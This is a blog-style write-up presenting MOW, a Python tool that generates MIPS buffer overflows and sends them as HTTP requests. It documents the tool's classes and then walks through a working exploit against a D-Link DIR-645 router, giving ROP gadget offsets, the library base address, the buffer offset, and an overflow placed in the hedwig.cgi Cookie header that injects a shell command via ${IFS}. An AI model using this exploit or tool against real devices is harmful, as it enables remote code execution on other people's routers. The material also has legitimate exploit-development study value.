Mips Overflow Writer
MIPS Overflow Writer
Once you’ve written a fair share of MIPS buffer overflows you’ll have a pretty good idea of how the stack is laid out and how the math works to perfectly overwrite the return address. It becomes less of a learning experience and more of a tedious operation. This same feeling led me to write MOW, the MIPS Overflow Writer. This Python script requires minimal, easily retrievable arguments to generate MIPS based buffer overflows and send it to the target. This saves time and prevents you from rewriting the same lines of code over and over.
Installation
The project is Python3 based and is easily installable with the few commands shown below.
$ git clone https://github.com/fuzzywalls/mow
$ cd mow
$ python3 setup.py install
Class Overview
The next few sections will give an overview of the public classes, what arguments they accept, and what they do.
Overflow
This is the main class for generating a MIPS overflow. It will dynamically create class variables that represent the saved registers and fill them with sequential bytes starting with 0x41414141, or AAAA. This allows you to easily see if your offsets are off when debugging.
class Overflow:
def __init__(self, buff_stack_offset, register_count, endianness,
padding_after_ra=0, gadgets_base=0,
overflow_string_contents='', bad_bytes=None, uses_fp=True,
logging_level=log_level.INFO)
Parameter | Description |
---|---|
buff_stack_offset | Distance between buffer and the top of the stack. |
register_count | Number of registers saved in the function. Used to dynamically add class variables. |
endianess | mow.BIG_ENDIAN or mow.LITTLE_ENDIAN |
padding_after_ra | Amount of padding after $ra, typically 0 |
gadgets_base | Loaded base address of library containing ROP gadgets used. If multiple libraries are used this should be set to 0 and addition must be performed manually. |
overflow_string_contents | If the destination buffer contains a string prior to the overwrite enter it here. |
bad_bytes | List of invalid bytes target cannot accept. Throws an exception if one of those bytes are encountered in the overflow. |
uses_fp | Frame pointer is a saved register. If true, the last dynamically added class variable will be fp instead of, for example, s8. |
logging_level | Logging level to assign to the internal logger. |
Overflow Example
Below is a simple example illustrating the dynamic class creation and overflow generation.
>>> import mow
>>> overflow = mow.Overflow(0x20, 5, mow.BIG_ENDIAN)
>>> overflow.s0
b'AAAA'
>>> overflow.s1
b'BBBB'
>>> overflow.s2
b'CCCC'
>>> overflow.s3
b'DDDD'
>>> overflow.fp
b'EEEE'
>>> overflow.generate()
********************
Overflow Generation
********************
Bytes to first register 0x0008(8)
s0 = 0x41414141
s1 = 0x42424242
s2 = 0x43434343
s3 = 0x44444444
fp = 0x45454545
ra = 0x4a4a4a4a (0x0000 + 0x4a4a4a4a)
Adding 0 bytes of padding after ra
stack = b''
********************
b'XXXXXXXXAAAABBBBCCCCDDDDEEEEJJJJ'
Overflow.add_to_stack
A common aspect of writing overflows it to write values on the stack passed the return address. More commonly commands will be written to the stack in preparation of a return to libc attack, but addresses as well as shell code could be written. The function will perform validation to prevent overwriting data previously added on the stack. I found useful during prototyping because it let me know that my math was off.
def add_to_stack(self, padding, address=None, command=None,
force_overwrite=False, add_base=True)
Parameters | Description |
---|---|
padding | Distance between entry and $ra in the overflow. |
address | Address to write at the provided address. Gadget base will be added if add_base is True. |
command | Command to write at the provided offset. |
force_overwrite | Force overwriting values on the stack. |
add_base | Add the provided base address to address , if provided. |
add_to_stack Example
Below is an example of adding ABCD to the stack as an address followed immediately by a touch command.
>>> import mow
>>> overflow = mow.Overflow(0x20, 5, mow.BIG_ENDIAN)
>>> overflow.add_to_stack(0x10, address=0x41424344)
Generic Pack = 0x41424344 (0x0000 + 0x41424344)
>>> overflow.add_to_stack(0x14, command="touch /tmp/file")
>>> overflow.generate()
********************
Overflow Generation
********************
Bytes to first register 0x0008(8)
s0 = 0x41414141
s1 = 0x42424242
s2 = 0x43434343
s3 = 0x44444444
fp = 0x45454545
ra = 0x4a4a4a4a (0x0000 + 0x4a4a4a4a)
Adding 0 bytes of padding after ra
stack = b'XXXXXXXXXXXXXXXXABCDtouch /tmp/file'
********************
b'XXXXXXXXAAAABBBBCCCCDDDDEEEEJJJJXXXXXXXXXXXXXXXXABCDtouch /tmp/file'
Overflow.generate
This function takes all the information given to the overflow class and returns a byte string (yay Python3…) representing a buffer overflow. Its application can be seen in the examples above.
CustomRequest
The CustomRequest class is used to generate an HTTP packet with control of header values and data. The class will generate an HTTP packet from scratch returning it as a byte string. No URL encoding is performed to prevent corrupting the overflow.
class CustomRequest:
def __init__(self, host, port, request_type, request_dest, headers=None,
data=None, logging_level=log_level.INFO):
Parameters | Description |
---|---|
host | IP address of the target. |
port | Listening port to send request to. |
request_type | mow.GET or mow.POST |
request_dest | Page to request. |
headers | Values to send in the header field. |
data | Data to send with the packet. |
CustomRequest.create_packet
Following initialization of the CustomRequest class you can create the packet using this function. The resulting byte string can be passed directly to mow.send_packet
.
send_packet
Send a packet, created by the CustomRequest
, to a target.
def send_packet(host, port, packet, fire_and_forget=False)
Parameters | Description |
---|---|
host | IP address of the target. |
port | Listening port of the target. |
packet | Packet to send to the target, generated by CustomRequest |
fire_and_forget | Send the packet and ignore any response. |
Real Life Example
The following is an example of using MOW to generate and send a buffer overflow to a D-Link DIR-645. A high level overview of the vulnerability is available on this site under “VULNERABILITY DETAILS” #2. The ROP chain that will be used for this exploit is:
----------------------------------------------------------------
| Gadget Name | Gadget Offset | Gadget Summary |
-----------------------------------------------------------------
| rop1 | 0x00057D60 | addiu $s0, 8 |
| | | sll $a0, 3 |
| | | addu $a0, $s2, $a0 |
| | | move $a1, $s0 |
| | | move $t9, $s1 |
| | | jalr $t9 |
| | | li $a2, 8 |
-----------------------------------------------------------------
| rop2 | 0x00015B6C | addiu $s2, $sp, 0x18 |
| | | move $a2, $v1 |
| | | move $t9, $s0 |
| | | jalr $t9 |
| | | move $a0, $s2 |
-----------------------------------------------------------------
The ROP chain will be used to call system with a command we have placed on the stack. rop1 is used to fix-up the address of system
because it ends in a NULL byte and rop2 will retrieve the command from the stack and call system
. Other important numbers that were retrieved from either static or dynamic analysis are:
- Base of libuClibc loaded in memory: 0x2aaf8000
- Distance of overflow buffer from the top of the stack: 0x428
- System offset in libuClibc: 0x53200
- Registers saved in function containing exploit:
$s0
-$s7
, including$fp
- Static string present in the destination buffer: “/runtime/session/”
Knowing all these values it is very simple to generate the overflow in python:
>>> import mow
>>> overflow = mow.Overflow(0x428, 9, mow.LITTLE_ENDIAN, 0, 0x2aaf8000, '/runtime/session/')
>>> overflow.s0 = 0x531f8 # Used for system fix-up
>>> overflow.s1 = 0x15b6c # rop2
>>> overflow.ra = 0x57d60 # rop3
>>> overflow.add_to_stack(0x18, command='touch${IFS}/tmp/filename&')
>>> of_string = overflow.generate()
********************
Overflow Generation
********************
Bytes to first register: 0x03ef(1007) accounting for 17 bytes in the string: /runtime/session/
s0 = 0xf8b1b42a (0x2aaf8000 + 0x531f8)
s1 = 0x6cdbb02a (0x2aaf8000 + 0x15b6c)
s2 = 0x43434343
s3 = 0x44444444
s4 = 0x45454545
s5 = 0x46464646
s6 = 0x47474747
s7 = 0x48484848
fp = 0x49494949
ra = 0x60fdb42a (0x2aaf8000 + 0x57d60)
stack = b'XXXXXXXXXXXXXXXXXXXXXXXXtouch${IFS}/tmp/filename&'
********************
Next step is to generate the packet:
>>> request = mow.CustomRequest('127.0.0.1', 80, mow.POST,'hedwig.cgi',
{'Cookie': b'uid=%s' % of_string}, 'doesntmatter')
>>> packet = request.create_packet()
********************
Packet Generation
********************
POST /hedwig.cgi HTTP/1.1
Host: 127.0.0.1:80
Cookie: uid=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX*l۰*CCCCDDDDEEEEFFFFGGGGHHHHIIII`*XXXXXXXXXXXXXXXXXXXXXXXXtouch${IFS}/tmp/filename&
Content-Length: 12
doesntmatter
********************
Finally, sending it:
mow.send_packet('127.0.0.1', 80, packet)
Conclusion
If you are interested in using MOW you can grab it from my Github page here. Hope you enjoy it!